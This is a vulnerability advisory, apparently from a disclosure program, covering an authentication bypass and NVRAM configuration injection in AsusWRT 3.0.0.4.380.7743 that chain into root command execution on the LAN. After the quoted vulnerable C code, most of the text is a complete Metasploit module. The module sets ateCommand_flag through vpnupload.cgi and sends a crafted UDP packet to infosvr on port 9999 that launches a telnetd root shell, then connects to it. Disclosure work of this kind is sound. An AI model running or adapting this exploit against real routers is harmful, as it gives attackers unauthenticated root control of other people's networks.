Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in AsusWRT Version 3.0.0.4.380.7743. The combination of the vulnerabilities leads to LAN remote command execution on any Asus router.
AsusWRT is “THE POWERFUL USER-FRIENDLY INTERFACE – The enhanced ASUSWRT graphical user interface gives you easy access to the 30-second, 3-step web-based installation process. It’s also where you can configure AiCloud 2.0 and all advanced options. ASUSWRT is web-based, so it doesn’t need a separate app, or restrict what you can change via mobile devices — you get full access to everything, from any device that can run a web browser”
The vulnerabilities found are:
Access bypass
Configuration manipulation
Credit
An independent security researcher, Pedro Ribeiro (pedrib_at_gmail.com), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Asus were informed of the vulnerabilities and released patches to address them (version 3.0.0.4.384_10007).
Vulnerabilities details
The AsusWRT handle_request() code allows an unauthenticated user to perform a POST request for certain actions.
AsusWRT_source/router/httpd/httpd.c:
handle_request(void)
{
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
if (auth_result != 0) <--- auth fails
{
if(strcasecmp(method, "post") == 0){
if (handler->input) {
handler->input(file, conn_fp, cl, boundary); <--- but POST request is still processed
}
send_login_page(fromapp, auth_result, NULL, NULL, 0);
}
//if(!fromapp) http_logout(login_ip_tmp, cookies);
return;
}
...
}
By POSTing to vpnupload.cgi, we invoke do_vpnupload_post(), which sets NVRAM configuration values directly from the request.
AsusWRT_source/router/httpd/web.c:
do_vpnupload_post(char *url, FILE *stream, int len, char *boundary)
{
...
if (!strncasecmp(post_buf, "Content-Disposition:", 20)) {
if(strstr(post_buf, "name=\"file\""))
break;
else if(strstr(post_buf, "name=\"")) {
offset = strlen(post_buf);
fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
len -= strlen(post_buf) - offset;
offset = strlen(post_buf);
fgets(post_buf+offset, MIN(len + 1, sizeof(post_buf)-offset), stream);
len -= strlen(post_buf) - offset;
p = post_buf;
name = strstr(p, "\"") + 1;
p = strstr(name, "\"");
strcpy(p++, "\0");
value = strstr(p, "\r\n\r\n") + 4;
p = strstr(value, "\r");
strcpy(p, "\0");
//printf("%s=%s\n", name, value);
nvram_set(name, value);
}
}
...
}
An attacker can trigger the vulnerabilities and reset the admin password.
Once that is done, the attacker can login to the web interface with the new password, enable SSH, reboot the router and login via SSH.
Another option is to abuse infosvr, which is a UDP daemon running on port 9999.
The daemon has a command mode which is only enabled if ateCommand_flag is set to 1.
This flag is only enabled in very special cases, but we can enable it using the VPN configuration upload technique described above.
Once that is done, all we need to do is send a PKT_SYSCMD to infosvr.
The daemon will read a command from the packet and execute it as root.
Packet structure (from AsusWRT_source/router/shared/iboxcom.h):
- Header
typedef struct iboxPKTEx
{
BYTE ServiceID;
BYTE PacketType;
WORD OpCode;
DWORD Info; // Or Transaction ID
BYTE MacAddress[6];
BYTE Password[32]; //NULL terminated string, string length:1~31, cannot be NULL string
} ibox_comm_pkt_hdr_ex;
- Body
typedef struct iboxPKTCmd
{
WORD len;
BYTE cmd[420];
} PKT_SYSCMD; // total 422 bytes
-------------------------------------------------------------------------
EXPLOIT:
-------------------------------------------------------------------------
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
'Description' => %q{
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
perform a POST in certain cases. This can be combined with another vulnerability in
the VPN configuration upload routine that sets NVRAM configuration variables directly
from the POST request to enable a special command mode.
This command mode can then be abused by sending a UDP packet to infosvr, which is running
on port UDP 9999 to directly execute commands as root.
This exploit leverages that to start telnetd in a random port, and then connects to it.
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
},
'Author' =>
[
'Beyond Security'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'add later'],
['Add', 'links']
],
'Targets' =>
[
[ 'AsusWRT < (add fixed version later)',
{
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => '',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9999)
])
register_advanced_options(
[
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
])
end
def exploit
post_data = Rex::MIME::Message.new
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => "/vpnupload.cgi",
'method' => 'POST',
'rport' => datastore['ASUSWRTPORT'],
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res and res.code == 200
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
else
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
end
info_pdu_size = 512
r = Random.new
ibox_comm_pkt_hdr_ex =
[0x0c].pack('C*') +
[0x15].pack('C*') +
[0x33,0x00].pack('C*') +
r.bytes(4) +
r.bytes(6) +
r.bytes(32)
telnet_port = rand((2**16)-1024)+1024
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
pkt_syscmd =
[cmd.length,0x00].pack('C*') +
cmd
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
connect_udp
udp_sock.put(pkt_final)
disconnect_udp
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
sleep(10)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... try again?")
end
end
